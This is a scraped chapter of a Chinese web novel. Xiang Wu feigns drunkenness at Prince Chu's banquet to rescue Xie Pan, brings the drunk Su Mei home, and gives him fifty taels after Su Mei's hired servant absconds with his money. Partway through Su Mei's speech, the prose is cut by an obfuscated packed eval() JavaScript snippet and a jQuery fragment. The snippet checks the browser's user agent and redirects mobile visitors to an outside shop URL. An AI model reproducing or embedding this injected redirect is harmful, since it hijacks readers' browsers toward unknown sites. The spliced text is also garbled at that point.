默认冷灰
24号文字
方正启体

10. 状元借钱

作者:闭口馋本书字数:K更新时间:
    因着一甲这三位都不是纯正的京城人氏,楚王又问了他们许多风土人情和各地的趣事儿,听得很开心,也劝了不少酒。


    王府佳酿入口香甜,项梧多饮了几杯,没想到后劲儿那么大,此刻已经有几分醉意了。


    项梧担心自己失仪,向楚王处瞟了一眼,见他已经把身边的侍女拉进怀里了。


    苏玫和谢磐也都不善饮酒,一个伏在案上,一个强撑着身体。苏玫睡过去还好,谢磐旁边的侍女已经开始拉拉扯扯,看样子不移兄没多大力气了。


    此时项梧看起来还算清醒,是以身边侍女不敢轻动。


    眼下也顾不得许多了,他又饮了两杯,朦胧着眼睛,摇摇摆摆倒在案上。


    项梧留心听着,主位上的两人走了。


    自己和苏玫身边的人一块去了谢磐的方向,有四个脚步声出去了。


    若是正常带去休息,为何抛下他们两个人呢?


    项梧有心去救,只是交往不深,不知道谢磐是真醉还是假醉。


    罢了,到底是谢家的人,想来也不会如此。


    项梧拿起空酒杯,踢翻桌案赶了出去,推开搀扶着谢磐的侍女,假装快要摔倒拽住他的胳膊,用力抬起眼皮醉声大喊:“兄长哪里去?还没喝够呢!喝呀!”


    说着项梧就把空酒杯递到谢磐的脸上“灌酒”。


    末了项梧把酒杯的口朝下,高高举起看了又看,道:“没酒了。”


    “那儿有酒!”


    项梧拉着谢磐去到旁边的一处小水塘,把他按下去清醒清醒。


    侍从们过来把他们拉开了水塘。


    经过这一闹,谢磐醒了六七分了。


    二人托侍从向王爷告罪,说自己酒后无状闹出笑话,不敢久留,自行离去了。


    昏睡的苏玫没有带小厮,项梧也不知道他家在哪里,就好人做到底,把他暂且带回府。


    慕池在家中,听青霜说项梧今天赴的是楚王的宴会,坐立难安,十分忧心,当下就命人取了请帖来细看。


    “侯爷去了多久?带了几个随从?”


    “去了有半个时辰,只带了兰生、禾生二人。”


    “这怎么行呢?再派四个小厮并马车赶到别院候着,只说家里怕他吃醉了酒,探听到任何动静马上回来告诉我。青霜,你亲自去安排,挑些身强力壮的。”


    “小姐别担心,我带着他们去,一定把侯爷好好接回来。”


    “好,有你去我也放心,”慕池低声嘱咐,“带上银子,藏些兵器,千万把人带回来。”


    青霜风风火火走了。


    司衡道:“小姐,还有另外两位大人在,兴许就是个简单的聚会吧。殿试刚过,王爷要是寻错处罚了新科探花,岂不是跟皇上作对?”


    “我也明白这个道理,只是刚出那样的事,我不得不多想。”


    司衡和青霜作为慕池的贴身丫鬟,都知道那天晚上发生了什么,此时也不免担忧。


    慕池吃不下午膳,等了一个多时辰才收到消息:项梧醉得不轻,把编修大人给按进水里了;他已经在回来的路上了,还带了修撰大人一起。


    慕池暗谢诸佛,还好没出什么大事。


    项梧为了把戏做足,自然不能骑马,正好家里的车来了,他就和昏醉的苏玫一起坐在里面。


    到了忠勇侯府,客人被抬进了厢房,项梧被搀扶着回到自己院子。


    “侯爷,大小姐在里面等你。”


    项梧不知所措,自己现在满身酒气,这样过去岂不是冲撞了她?


    项梧下意识止住脚步甚至往后退,被扶他的人当作是撒酒疯给硬搀进去了。


    他有点不知道怎么面对慕池,躺在床上后索性再次装睡。


    项梧听见有人进来放了个碗在桌子上。


    “他睡下了,再去温一碗备着。”


    原来是醒酒汤。


    不好,有人走过来。


    项梧的心砰砰乱跳,他告诉自己要装得像一点,可越想越紧张,呼吸变得短促。


    慕池看他脸红,手背试了试温度,果然有些发热,坐在床边的凳子上给他打扇。


    朝阳素来知礼守节,定然是有人劝酒将他灌醉,慕池想着,难不成是那个谢编修使坏,才被他按进水里?


    慕池压下心头疑问,只等他醒酒后详谈。


    慕池扇了有一会儿了,他的脸还是红的,想是热极了。


    还没到夏天,就这样热了吗?想来是酒的作用吧。


    慕池出去安排人给他换衣服,自己和青霜回栖霞阁。


    “小姐,煮好的醒酒汤侯爷怎么不喝呀?”


    “他睡着了。”


    “咦,这就怪了,小厮搀回来时人还是醒着的,怎么到屋里就睡了?这么长时间,也该醒酒了吧。”


    “马车上不舒服,怎么能休息得好,他应当累极了。”


    “原来如此,我当他装睡呢。”


    “为什么要装睡?”慕池不解。


    “吃了这么些酒,还跟人打架,怕你骂他呗。”


    “胡说,我几时骂过他,快跟我讲讲到底是怎么回事。”


    枕云轩里的项梧醉意全消,兴奋得在床上打滚。


    滚累了就躺在床上,取出怀里的兰草香囊举起来看,越看越欢喜。


    只可惜做戏要做全套,不能立即去见她。


    过了会儿小厮来报说客人醒了并要求见他,项梧才想起来把苏玫带回了家。


    回来的路上想到慕池对苏玫的关注,项梧踢了踢他的脚想把他唤醒,见他睡得死,没奈何才带回来。现在项梧只想快点把他打发走。


    “子瑰兄久候了。”


    “小侯爷真是客气了,原来不知道你的身份,也是称兄道弟混叫着,多有得罪,请勿见怪啊。”


    苏玫彻彻底底醒酒了,醉酒之后楚王别院里发生了什么他一概不知,只朦胧记得他和项梧同乘马车,醒来之后小厮告诉他这里是忠勇侯府。


    “只是承父荫的虚爵,子瑰兄这样叫就是与我生分了。既然兄长醒了,小弟这就派人送兄长回家?”


    苏玫的性格耿直,又不是京城人氏,项梧相信他真的是楚王提起后才知道。


    苏玫尴尬笑笑,似乎藏了什么事:“不急,不急。”


    “兄长一向快言快语,怎么现在不把话说明白,可是嫌弃我照顾不周?”项梧实在不想和他浪费时间。


    “我不是这个意思,”苏玫有些慌张,“是我想问你借些银两。”


    “兄长不是得过陛下赏赐的二百两?想是要置办宅子不够用?”


    一甲进士的赏赐均是二百两银子,钱当然可以借,只是得先问清楚之前的银子到哪儿了。


    “哎,事到如今我也不怕丢人了,不是置办宅子,是我那书童卷走银子跑路了,我已经报官,只是到现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378359|200138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在未能抓到。”


    这种事情真够离谱的,但发生在苏玫身上又诡异的合理。


    “怎么会有这样的事呢?子瑰兄真是可怜。既是书童盗窃,不知他的身契现在何处?”


    “朝阳有所不知,那书童并非家仆,是我在进京路上认识的,因他也要进京,我又缺个看行李的人,就雇下他,每月给些银子,只当他是书童。现在我只知他的相貌,名姓不辨真假,已经报了官,不过银子怕是很难追回来。所幸我自己身上还带了些碎银,这才又熬了些时日。”


    这是他能做出来的事。只是长途跋涉的,他也出自官宦人家,身边就没个侍奉的人?项梧心里疑惑但却不想再问。


    “兄长这是遇人不淑啊,那窃贼可恶至极,一定会被抓拿归案的,”项梧表现得义愤填膺,转而突然想起他的目的,“不知兄长缺多少银子?家里有人管束,少的我还能做主,多了就拿不出来了。”


    项梧对外都这样说的,也不知道究竟是谁在管束他。


    苏玫也是看他久居京城、又是侯爵才开口借钱,听他这样说,颇有些感慨,原来尊贵如侯爷也一样,用银子有限制,怎奈自己现在确实窘迫,遂带着商量的语气问道:“五两可否?”


    项梧沉默。


    苏玫以为自己要的多了,咬咬牙道:“二三两也行,等俸禄下来了我马上就还。”


    为什么是俸禄下来而不是家里人送钱,项梧不知道,他怕过会儿苏玫又降价了,直接命人取了五十两银子给他。


    苏玫想要拒绝被项梧拦下:“兄长不知道,初入官场要花费的地方还多着呢,兄长既开金口,我当然要竭尽所能,免得你还要多回忆几遍伤心事。只是不巧,陛下的赏银我已用在别处,家中也有不少花销,现在只有这些,还望兄长勿怪。”


    苏玫被感动到了:“我就知道你愿意慷慨解囊,我见你第一面就觉得你是个好人。”


    得了吧,你要是有识人之明也不至于落到今日这个地步。


    “让我托大叫你声贤弟吧。贤弟,纸笔何在,我与你写下借据。”


    “兄长这句''贤弟''已然价值千金,还要写借据,这不是羞煞我吗?兄长一时有了难处,就容我做个人情,这五十两权当奉送。不知兄长何处下榻,我好着人送你回去。”


    苏玫头一回遇上对他这么好的人,五十两银子,他赶考时的盘缠都没有这么多。


    “现住在城北的一家客栈,就不劳贤弟相送了。”


    “兄长别怪我多嘴,你现在已是官身,怎么还住在城北?回去后不若在城西租个院子,人员来往也干净些。”


    要说城西的宅院,项梧和项池名下还有几处空置的,但他不想让苏玫住进去。银子上没有名字给便给了,最多打水漂;宅院要是闹出什么事就麻烦得很,项梧不做这个人情。


    “我也有此意,怎奈银钱短缺,多谢贤弟解我燃眉之急。”


    “城北路远,天色已晚,兄长不要推辞了。”


    “大恩不言谢,往后若有用得到我的地方,贤弟尽管提。”苏玫躬身施了一个大礼。


    苏玫日后能不能有机会帮到项梧,他自己也不确定。同为一甲进士,项梧是个侯爷,亲族中想必也有做官的,将来谁能走得远还真未可知。


    项梧看着苏玫的脸,作思索状。


    苏玫以为自己脸上有脏东西,用手摸了摸,问他:“为何这样看我?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)